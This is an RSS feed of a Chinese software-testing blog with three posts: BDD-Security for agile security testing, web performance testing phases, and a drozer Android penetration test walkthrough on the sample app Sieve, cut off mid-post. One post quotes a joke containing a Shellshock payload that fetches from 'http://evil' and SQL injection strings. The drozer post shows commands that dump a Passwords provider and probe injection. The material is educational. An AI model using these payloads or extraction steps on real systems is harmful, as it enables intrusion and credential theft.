﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-qileilove</title><link>http://www.blogjava.net/qileilove/</link><description>blog已经转移至github,大家请访问 http://qaseven.github.io/</description><language>zh-cn</language><lastBuildDate>Sat, 14 Mar 2026 23:36:27 GMT</lastBuildDate><pubDate>Sat, 14 Mar 2026 23:36:27 GMT</pubDate><ttl>60</ttl><item><title>在开发流程中嵌入安全测试</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:10:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423599.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423599.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423599.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　ContinuumSecurity创始人Stephen de Vries，在Velocity Europe 2014大会上提出了持续且可视化的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全测试</strong></u></a>的观点。Stephen表示，那些在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">敏捷</strong></u></a>开发过程中用于将QA嵌入整个开发流程的方法和工具都能同样的用于安全测试。BDD-Security是一个基于JBehave，且遵循Given-When-Then方法的安全测试框架。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　传统的安全测试都遵循瀑布流程，也就是说安全团队总是在开发阶段的末期才参与进来，并且通常需要外部专家的帮助。在整个开发流程中，渗透测试总是被安排到很晚才做，使得为应用做安全防范的任务尤其困难且复杂。Stephen认为安全测试完全可以变得像QA一样：每个人都对安全问题负责；安全问题可以在更接近代码的层面考虑；安全测试完全可以嵌入一个持续集成的开发过程中。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　为了论证QA和安全测试只有量的区别而没有质的区别，Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　从QA的角度：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　QA工程师走进一家酒吧，点了一杯啤酒；点了0杯啤酒；点了999999999杯啤酒；点了一只蜥蜴；点了-1杯啤酒；点了一个sfdeljknesv。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　从安全的角度：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　渗透测试工程师走进一家酒吧，点了一杯啤酒；点了&#8221;&gt;杯啤酒；点了&#8217;or 1=1-杯啤酒；点了() { :; }; wget -O /beers http://evil; /杯啤酒。　　要将安全测试集成进敏捷开发流程中，首先需要满足的条件是：可见性，以便采取及时应对措施并修补；可测试性，以便于自动化，比仅仅简单的扫描更有价值。Stephen发现BDD工具族就同时满足了可见性及可测试性，因此他开始着手构建BDD-Security安全测试框架。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　由于BDD-Security是基于JBehave构建的，因此它使用BDD的标准说明语言Gherkin。一个BDD-Security测试场景如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Scenario: Transmit authentication credentials over HTTPS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Meta: @id auth_https</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Given the browser is configured to use an intercepting proxy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the proxy logs are cleared</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the default user logs in with credentials from: users.table</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the HTTP request-response containing the default credentials is inspected</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Then the protocol should be HTTPS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　BDD-Security用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立，这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中，有时甚至无需修改。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这也说明BDD-Security框架认为对许多应用来说，有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用&#8212;&#8212;也就是导航逻辑中即可。当然，必要的时候你也完全可以编写自己的用户故事。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　BDD-Security依赖于第三方安全测试工具来执行具体的安全相关的行为，例如应用扫描。这些工具有OWASP ZAP或Nessus等。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Stephen还提到其它一些有类似功能的工具。如Zap-WebDriver就是一款更简单的工具，不喜欢BDD方式的人可以考虑采用它。Gauntlt与BDD-Security框架类似，同样支持BDD，只是它使用的编程语言是<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Ruby</strong></u></a>。Mittn用<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Python</strong></u></a>编写并且同样也使用Gherkin。</div><img src ="http://www.blogjava.net/qileilove/aggbug/423599.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:10 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何进行Web服务的性能测试？</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:08:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423598.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423598.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423598.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　随着浏览器功能的不断完善，用户量不断的攀升，涉及到<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>服务的功能在不断的增加，对于我们<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>来说，我们不仅要保证服务端功能的正确性，也要验证服务端程序的性能是否符合要求。那么<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能测试</strong></u></a>都要做些什么呢？我们该怎样进行性能测试呢？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">性能测试一般会围绕以下这些问题而进行：</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　1. 什么情况下需要做性能测试？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　2. 什么时候做性能测试？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　3. 做性能测试需要准备哪些内容？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　4. 什么样的性能指标是符合要求的？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　5. 性能测试需要收集的数据有哪些？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　6. 怎样收集这些数据？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　7. 如何分析收集到的数据？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　8. 如何给出性能测试报告？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　性能测试的执行过程及要做的事儿主要包含以下内容：</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　1. 测试评估阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　在这个阶段，我们要评估被测的产品是否要进行性能测试，并且对目前的服务器环境进行粗估，服务的性能是否满足条件。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　首先要明确只要涉及到准备上线的服务端产品，就需要进行性能测试。其次如果产品需求中明确提到了性能指标，那也必须要做性能测试。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　测试人员在进行性能测试前，需要根据当前的收集到的各种信息，预先做性能的评估，收集的内容主要包括带宽、请求包大小、并发用户数和当前web服务的带宽等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　2. 测试准备阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　在这个阶段，我们要了解以下内容：</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　a. 服务器的架构是什么样的，例如：web服务器是什么？是如何配置的？<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>用的是什么？服务用的是什么语言编写的？；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　b. 服务端功能的内部逻辑实现；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　c. 服务端与数据库是如何交互的，例如：数据库的表结构是什么样的？服务端功能是怎样操作数据库的？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　d. 服务端与客户端之间是如何进行交互的，即接口定义；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　通过收集以上信息，测试人员整理出服务器端各模块之间的交互图，客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流程图。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　e. 该服务上线后的用户量预估是多少，如果无法评估出用户量，那么可以通过设计测试执行的场景得出这个值；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　f. 上线要部署到多少台机器上，每台机器的负载均衡是如何设计的，每台机器的配置什么样的，网络环境是什么样的。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　g. 了解测试环境与线上环境的不同，例如网络环境、硬件配置等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　h. 制定测试执行的策略，是需要验证需求中的指标能否达到，还是评估系统的最大处理能力。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　i. 沟通上线的指标</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　通过收集以上信息，确定性能<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试用例</strong></u></a>该如何设计，如何设计性能测试用例执行的场景，以及上线指标的评估。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　3. 测试设计阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　根据测试人员通过之前整理的交互图和流程图，设计相应的性能测试用例。性能测试用例主要分为预期目标用户测试，用户并发测试，疲劳强度与大数量测试，网络性能测试，服务器性能测试，具体编写的测试用例要更具实际情况进行裁减。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　用例编写的步骤大致分为：</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　a. 通过脚本模拟单一用户是如何使用这个web服务的。这里模拟的可以是用户使用web服务的某一个动作或某几个动作，某一个功能或几个功能，也可以是使用web服务的整个过程。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　b. 根据客户端的实际情况和服务器端的策略，通过将脚本中可变的数据进行参数化，来模拟多个用户的操作。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　c. 验证参数化后脚本功能的正确性。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　d. 添加检查点</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　e. 设计脚本执行的策略，如每个功能的执行次数，各个功能的执行顺序等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　4. 测试执行阶段<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　根据客户端的产品行为设计web服务的测试执行场景及测试执行的过程，即测试执行期间发生的事儿。通过监控程序收集web服务的性能数据和web服务所在系统的性能数据。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在测试执行过程中，还要不断的关注以下内容：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　a. web服务的连接速度如何？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　b. 每秒的点击数如何？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　c. Web服务能允许多少个用户同时在线？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　d. 如果超过了这个数量，会出现什么现象？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　e. Web服务能否处理大量用户对同一个页面的请求？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　f. 如果web服务崩溃，是否会自动恢复？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　g. 系统能否同一时间响应大量用户的请求？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　h. 打压机的系统负载状态。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　5. 测试分析阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　将收集到的数据制成图表，查看各指标的性能变化曲线，结合之前确定的上线指标，对各项数据进行分析，已确定是否继续对web服务进行测试，结果是否达到了期望值。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6. 测试验证阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在开发针对发现的性能问题进行修复后，要再执行性能测试的用例对问题进行验证。这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能，所以在验证性能的同时，也要关注原有功能是否受到了影响</div></div><div id="weixin_s" style="word-break: break-all; margin: 0px 0px 10px; width: 350px; height: 32px; display: inline-block; position: relative; line-height: 1.8em !important; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"><div style="word-break: break-all; margin: 4px 0px 10px 130px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal !important; background-color: #ffffff;"></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/423598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:08 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用drozer进行Android渗透测试</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:06:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423597.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423597.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423597.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">一、安装与启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1. 安装</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第一步：从http://mwr.to/drozer下载Drozer (<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>&nbsp;Installer)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第二步：在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>设备中安装agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　adb install agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2. 启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第一步：在PC上使用adb进行端口转发，转发到Drozer使用的端口31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　adb forward tcp:31415 tcp:31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第二步：在Android设备上开启Drozer Agent</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　选择embedded server-enable</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第三步：在PC上开启Drozer console</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　drozer console connect</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　二、<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>步骤</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　1.获取包名</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　dz&gt; run app.package.list -f sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　2.获取应用的基本信息</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.package.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　3.确定攻击面</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.package.attacksurface com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　4.Activity</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（1）获取activity信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.activity.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（2）启动activity</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.activity.start --component com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　dz&gt; help app.activity.start</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--component PACKAGE COMPONENT] [--data-uri DATA_URI]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--mimetype MIMETYPE]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　5.Content Provider</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（1）获取Content Provider信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（2）Content Providers（数据泄露）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　先获取所有可以访问的Uri：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.finduris -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　获取各个Uri的数据：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　查询到数据说明存在漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（3）Content Providers（<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　报错则说明存在SQL注入。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; 